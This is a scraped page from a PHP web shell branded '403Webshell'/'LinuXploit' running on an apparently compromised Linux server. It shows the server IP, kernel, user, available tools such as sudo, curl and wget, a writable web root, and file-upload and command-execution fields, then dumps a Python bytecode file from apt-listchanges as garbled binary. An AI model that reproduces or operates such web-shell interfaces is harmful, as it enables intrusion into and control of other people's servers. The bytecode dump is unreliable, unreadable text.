403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/apt-listchanges/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/apt-listchanges/__pycache__/ALCSeenDb.cpython-39.pyc
a

Dc``?�@sfddlmZddlmZddlZddlZGdd�de�ZGdd�de�Z	Gdd	�d	e	�Z
d
dd�ZdS)�)�ndbm)�_Nc@seZdZdS)�DbErrorN)�__name__�
__module__�__qualname__�rr�'/usr/share/apt-listchanges/ALCSeenDb.pyr src@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�seendb_dummyzYInterface for seen database.
       Also used when path to the database is not configuredcCsdS)NFr��self�
srcpackagerrr	�__contains__&szseendb_dummy.__contains__cCsdS�Nrrrrr	�__getitem__)szseendb_dummy.__getitem__cCsdSrr�rr
�versionrrr	�__setitem__,szseendb_dummy.__setitem__cCsdSrr�rrrr	�close_db/szseendb_dummy.close_dbcCsdSrrrrrr	�
apply_changes2szseendb_dummy.apply_changescCsttd���dS)Nz�Path to the seen database is unknown.
Please either specify it with --save-seen option
or pass --profile=apt to have it read from the configuration file.)rrrrrr	�dump5szseendb_dummy.dumpN)
rrr�__doc__rrrrrrrrrr	r
#sr
csReZdZdZd�fdd�	Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
�ZS)�seendbz!Class to manage the seen databaseFc
s�t���d|_|dd�|jkr:ttd�||jd���|dd�|_z,|rRdnd}t�|j|d�|_d|jvWn@t	y�}z(ttd	�|t
|�d
��|�WYd}~n
d}~00i|_dS)Nz.db���z)Database %(db)s does not end with %(ext)s)�dbZext�r�c�zfoo%0z*Database %(db)s failed to load: %(errmsg)s)r�errmsg)�super�__init__�
_extensionrr�_dbpathr�open�_seen�	Exception�str�	_seen_new)r�path�readOnly�mode�ex��	__class__rr	r!<s$

���zseendb.__init__cCs
||jvSr)r%rrrr	rPszseendb.__contains__cCs|j|��Sr)r%�decoderrrr	rSszseendb.__getitem__cCs$|j�|d���|kr ||j|<dS)N�)r%�getr/r(rrrr	rVszseendb.__setitem__cCs|j��d|_dSr)r%�closerrrr	r[s
zseendb.close_dbcs��js
dS�fdd�}|d�|d�|d�}}}tj�|�rJt�||�t��jddd�}�j�	�D]\}}|||<qh|�
�tj�|�r�t�|�tj�|�r�t�||�t�
||�dS)Ncs�j|�jSr)r#r")�argrrr	�mkdsz seendb.apply_changes.<locals>.mkz-old�z-newrr)r(�osr)�isfile�shutil�copyrr$r#�itemsr2�unlink�link�rename)rr4�oldZcur�new�seen�key�valuerrr	r_s

zseendb.apply_changescCs:t|j���D]&}|j|}td|��|��f�qdS)Nz%s %s)�sortedr%�keys�printr/)rrArBrrr	r{s
zseendb.dump)F)rrrrr!rrrrrr�
__classcell__rrr-r	r:srFcCs|jrt|j|�St�Sr)Z	save_seenrr
)Zconfigr*rrr	�make_seen_db�srG)F)ZdbmrZALChacksrr6r8r&r�objectr
rrGrrrr	�<module>sG

Youez - 2016 - github.com/yon3zu
LinuXploit